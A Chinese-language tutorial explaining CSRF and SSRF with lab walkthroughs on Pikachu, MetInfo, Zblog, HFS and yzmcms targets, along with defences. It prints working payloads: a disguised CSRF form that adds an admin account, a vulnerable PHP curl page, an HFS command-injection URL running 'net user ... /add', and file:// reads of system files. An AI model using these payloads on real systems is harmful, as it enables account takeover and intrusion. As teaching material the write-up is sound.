网络安全是数字时代的基石但学习过程中必须严守法律红线。‌根据《中华人民共和国网络安全法》《数据安全法》等法律法规任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌如Metasploitable、DVWA、Hack The Box等严禁将文中方法应用于真实系统或非授权场景。网络安全学习应以提升防御能力为目标而非成为攻击工具。一、CSRF与SSRF综合解析1、CSRF跨站请求伪造CSRFCross-site request forgery简称跨站请求伪造存在巨大的危害性。在CSRF的攻击场景中攻击者会伪造一个请求这个请求一般是一个链接然后欺骗目标用户进行点击用户一旦点击了这个请求整个攻击就完成了所以CSRF攻击也称为one-click attack。说人话用户登录某页面后会遗留cookie信息在本机。黑客利用受害方登录网站后的cookie再结合发送给用户的重定向html文件内部包含提权信息等恶意内容让用户点击达到篡改信息的目的1.攻击原理‌​ CSRF利用用户已登录的会话状态通过伪造请求如恶意链接或表单诱导用户触发非自愿操作。例如攻击者可构造转账请求的URL当用户访问含该URL的页面时浏览器自动携带Cookie完成转账。2.核心依赖条件包括有CSRF漏洞用户已登录且会话未过期目标网站未校验请求来源或参数随机性。3.防御方法‌Token验证‌服务器生成随机Token嵌入表单请求时校验其有效性。SameSite Cookie‌限制Cookie仅在同源请求中携带。Referer检查‌验证请求来源域名是否合法。即同源策略2、SSRF服务端请求伪造​ SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。​ 攻击者通过篡改 URL 路径遍历或完全替换它来操纵 URL 以向他们选择的任意域发出 HTTP 请求。 SSRF 攻击可以利用链接到组织基础架构内不应向用户公开的内部服务或用户不应访问的外部系统的 URL。说人话黑客通过浏览器对服务器发送恶意请求非法获取数据服务器在接收请求或者返回响应内容的时候没有采取措施进而返回黑客需要的数据1.攻击原理‌SSRF通过控制服务器发起内部或外部请求绕过防火墙访问受限资源。例如攻击者利用图片加载功能传入内网IP探测内网服务或读取本地文件如file:///etc/passwd。2.常见于以下场景在线翻译、图片下载等需外部URL的功能未过滤file://、gopher://等危险协议。3.防御方法‌URL白名单‌仅允许访问预设的安全域名。协议限制‌限制协议为HTTP、HTTPS禁用 file、gopher 等非必要协议。网络隔离‌内网服务配置独立防火墙规则。统一错误信息避免用户可以根据错误信息来判断远端服务器的端口状态。过滤返回信息验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准3、CSRF与SSRF核心区别维度‌‌CSRF‌‌SSRF‌攻击目标‌用户浏览器利用会话状态服务器伪造服务端请求利用场景需用户交互如点击链接无需用户交互直接操控服务器防御重点‌请求来源校验Token/Referer输入过滤协议/IP白名单关联风险‌两者可能组合利用例如通过CSRF触发SSRF漏洞扩大攻击面。二、CSRF 实例–原理1、实例–基本原理收集与受害方相同的网站的页面信息 黑客的服务器联立伪造的网络链接链接相同但是内含恶意参数 受害方在登录的状态下点击了恶意链接 受害方的信息被修改1.黑客 lili 收集信息登录网站收集到以下信息url : http://192.168.70.136/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexgirlphonenum18656565545addusaemaillili%40pikachu.comsubmitsubmit2.黑客 lili 伪造链接lili 在自己的服务器上创造恶意链接 sex.html 进行重定向。代码如下script src http://192.168.70.136/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexggphonenum1111add11111email111111submitsubmit /script gao qin dong zuo pian恶意链接地址为 http://192.168.70.136/sex.html注意此处恶意链接地址的 ip 与靶场 ip 相同那是因为他们在同一个服务端中但是为了能区分开路径设置并不相同。此处只为达到演示原理的目的。实际情况中恶意链接的IP/域名并不会与目标网站相同3.受害方 lucy 登录会员4.lucy 入坑lili 利用社工技术让 lucy 信了他的邪。在登录的状态下点开了恶意链接。至此 lili 的CSRF攻击完成lucy 刷新自己的登录页面,发现信息被偷偷篡改2、实例–从 BurpSuite 获取HTML代码实例1中的重定向代码是现成的进行复制粘贴这回从 BurpSuite 中获取黑客 lili 使用 BurpSuite 进行抓包代码框 右键 相关工具 生成SCRF PoC此时进入CSRF代码生成器会自动生成代码。注意url中的IP地址指向被害方登录的页面地址与实例1的原理是一样的测试代码。发现此代码是可以进行伪装的比如添加图片将页面的关闭符号加入到此按钮等3、实例扩展–从 csrftester 获取HTML代码CSRFTester 点击下载提取码:stia使用方法与 BurpSuite 类似需要注意代理设置此软件默认代理端口是 8008三、CSRF 实例–综合1、MetInfo 靶场URLhttp://192.168.70.136/MetInfo/目标给网站后台再添加一个管理员账户方法一—此种方法成功概率几乎没有只为练习使用—1.使用 7kscan 收集信息扫描找到后台地址 http://192.168.70.136/MetInfo/admin/login/2.弱口令爆破打开 BurpSuite 拦截注册信息并爆破猜测用户名为 admin爆破密码为 123456正常登录网站就可以添加添加管理员了。攻击完成方法二1.收集信息1.查看网站最下方的注册信息发现是现成的网站模板 MetInfo 5.3.1 搭建的2.使用 7kscan 收集信息网站后台链接 http://192.168.70.136/MetInfo/admin/login/3.搭建靶场—假设本实例的靶场为真实网站—网络找到相关模板资源自己搭建靶场查看后台链接与网站后台的链接路径一致天上掉下个大美女可以考虑使用 CSRF 攻击手段。2.靶场中添加管理员账户靶场中添加目标管理员账户用户名aaa 密码aaaaaa并使用 BurpSuite 进行拦截点右键 相关工具 生成SCRF Poc对获取的代码进行修改保存为 game.html代码修改部分如下!-- 删除 input typesubmit valueSubmit request / 添加一个图片链接 -- a href# idcsrfLink img srchttps://img0.baidu.com/it/u2817135635,2932443352fm253app120fJPEG?w800h800 altSubmit request / /a /form script // 获取链接元素 var link document.getElementById(csrfLink); // 添加点击事件监听器 link.addEventListener(click, function(event) { event.preventDefault(); // 阻止默认链接跳转行为 document.forms[csrfForm].submit(); // 提交表单 }); // 移除自动提交脚本 // history.pushState(, , /); // document.forms[0].submit();将文件保存到 攻击方 的服务器中链接为http://192.168.0.218/game.html此处为物理机模拟的服务器的IP3.诱使 MetInfo 网站管理员点击链接成功添加管理员账号 aaa案例小结信息收集很重要收集方法灵活多变信息收集工具是必需品一定要了解 CSRF 攻击流程及原理CSRF 攻击只能是测试不能百分百成功2、Zblog 靶场URLhttp://192.168.70.136/MetInfo/目标给网站后台再添加一个管理员账户方法不再赘述。在最后一步受害方点击链接时候出现以下提示说明 CSRF 攻击不成功。需要分析原因。比对恶意链接的请求头和网站的请求头信息恶意链接的请求头靶场链接的请求头两者的 Referer引用页是不同的。在 CSRF 攻击防御中有个技术就是 Referer 检查。下边通过查看源代码看是否有同源检查溯源CheckIsRefererValid()函数的位置由以上原因可以看出网站设置同源策略可以有效避免 CSRF 攻击四、SSRF 实例–原理1、实例–基本原理新建 ssrf.php 文件到 PHPstudy 的网站根目录中。充当网站的前端页面代码!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN html head meta http-equivContent-Type contenttext/html; charsetutf-8 / titleSSRF/title /head body 远程图片加载器 form action methodPOST 请输入图片地址input typetext nameurl input typesubmit value提交 /form /body ?php $_POST[url]; $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $_POST[url]); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); ?打开页面如图1.)访问公网 http注意不是每次都能成功因为很多网站都有ssrf防护特别是https协议的网站http://www.baidu.com原理是通过网站服务器发送请求再由服务器通过对数据解析后进行响应2.内网探测 http通常用于探测 是否存在SSRF漏洞http://127.0.0.1:33063.读取本地文件 file通常用于探测 是否存在SSRF漏洞file://C:/Users/lenovo/Desktop/aa.txt**注意格式因为是网页中输入所以\要更换成/。或者直接将\变成\\**4.探测 ftpftp://IP地址:端口号类似于内网探测因为没有找到好的样板所以不贴图只写出输入的格式2、实例–hfs 软件漏洞HFS是HTTP File Server一款HTTP 文件服务器软件。在虚拟机中打开 HFS1.)测试是否开启物理机ssrf.php 页面输入 http://192.168.70.133:8080/有回显说明服务已经打开2.攻击脚本攻击脚本的格式http://[HFS的IP]:[HFS的端口号]/?search%00{.exec|cmd.exe /c [Command-String].}查询参数search%00{.exec|cmd.exe /c [Command-String].}%00是URL编码的空字符常用于截断字符串处理逻辑绕过安全过滤机制混淆防护系统检测{.exec|cmd.exe /c [Command-String].}包含{.exec|尝试调用系统执行函数cmd.exeWindows命令行解释器/ccmd.exe参数执行指定命令后终止[Command-String]试图执行的命令# 添加 账户test123 密码123 http://192.168.70.133:8080/?search%00{.exec|cmd.exe /c net user test123 123 /add.}在 ssrf.php 中输入以上命令是不能在虚拟机内执行的因为 %00 截断了字符串的处理逻辑。如下图后边的参数没有被传递进来在物理机的浏览器中执行链接虚拟机的情况传递的参数为 jQuery代码虚拟机中查询是否创建用户 test123创建用户成功五、SSRF 实例–综合目标测试靶场是否存在 SSRF 漏洞1、搭建yzmcms5.3.0 靶场输入你的网址/install.php然后按提示完成配置。此处不再赘述2、新建文件新建一个 ssrf.html 文件文件名可自定义放在搭建的yzmcms靶场根目录(实战中需要用到文件上传用于测试是否有ssrf漏洞。ssrf.html 文件内容ssrf a hreffile://C:\Windows\System32\drivers\etc\hostsssrf demo/a /ssrf3、登录后台添加采集管理的节点登录后台地址http://192.168.70.136/yzmcms/admin此处IP为靶场的虚拟机IP添加采集节点网址为 ssrf.html 文件的路径4、测试采集节点选择提交后点击测试采集获得本机的 hosts 配置内容。说明存在SSRF 漏洞六、本文总结和心得1、核心内容总结1.CSRF漏洞定义跨站请求伪造攻击者诱导用户在已登录状态下点击恶意链接利用用户会话执行非自愿操作。攻击原理依赖用户已登录的会话状态通过伪造请求如恶意链接或表单触发操作例如构造转账URL诱导用户访问完成转账。核心条件存在CSRF漏洞、用户已登录且会话未过期、目标网站未校验请求来源或参数随机性。防御方法Token验证服务器生成随机Token嵌入表单并校验、SameSite Cookie限制Cookie仅在同源请求中携带、Referer检查验证请求来源域名合法性。2. SSRF漏洞·定义服务器端请求伪造攻击者构造请求由服务端发起可绕过防火墙访问内网资源或读取本地文件。攻击原理控制服务器发起内部或外部请求例如利用图片加载功能传入内网IP探测服务或读取本地文件如file:///etc/passwd。常见场景在线翻译、图片下载等需外部URL的功能未过滤file://、gopher://等危险协议。防御方法URL白名单仅允许访问预设安全域名、协议限制限制为HTTP/HTTPS禁用file、gopher等、网络隔离内网服务配置独立防火墙规则、统一错误信息、过滤返回信息。3. 实例分析·CSRF实例通过MetInfo靶场演示利用BurpSuite生成恶意代码诱使管理员点击添加恶意管理员账户Zblog靶场因Referer检查同源策略导致攻击失败。SSRF实例通过ssrf.php文件测试访问公网、内网探测、读取本地文件、探测ftp利用HFS软件漏洞执行系统命令添加用户yzmcms5.3.0靶场通过采集管理功能读取hosts文件验证漏洞存在。2、学习心得信息收集的重要性无论是CSRF还是SSRF攻击信息收集都是前提包括目标网站架构、后台地址、技术栈等可借助7kscan等工具且方法需灵活多变。漏洞原理的理解是关键需深入理解两种漏洞的攻击流程如CSRF依赖用户会话和诱导点击SSRF利用服务端请求伪造才能有效实施攻击与防御。防御措施的有效性Token验证、SameSite Cookie、Referer检查等对CSRF防御至关重要URL白名单、协议限制等能有效防范SSRF实际应用中需结合多种措施。攻击的局限性CSRF攻击成功率并非100%受目标网站防御措施、用户警惕性等因素影响SSRF攻击受限于服务器配置和网络隔离策略。安全意识的培养对于开发者需在开发过程中引入安全校验机制对于用户要提高对不明链接的警惕避免在登录状态下随意点击可疑链接。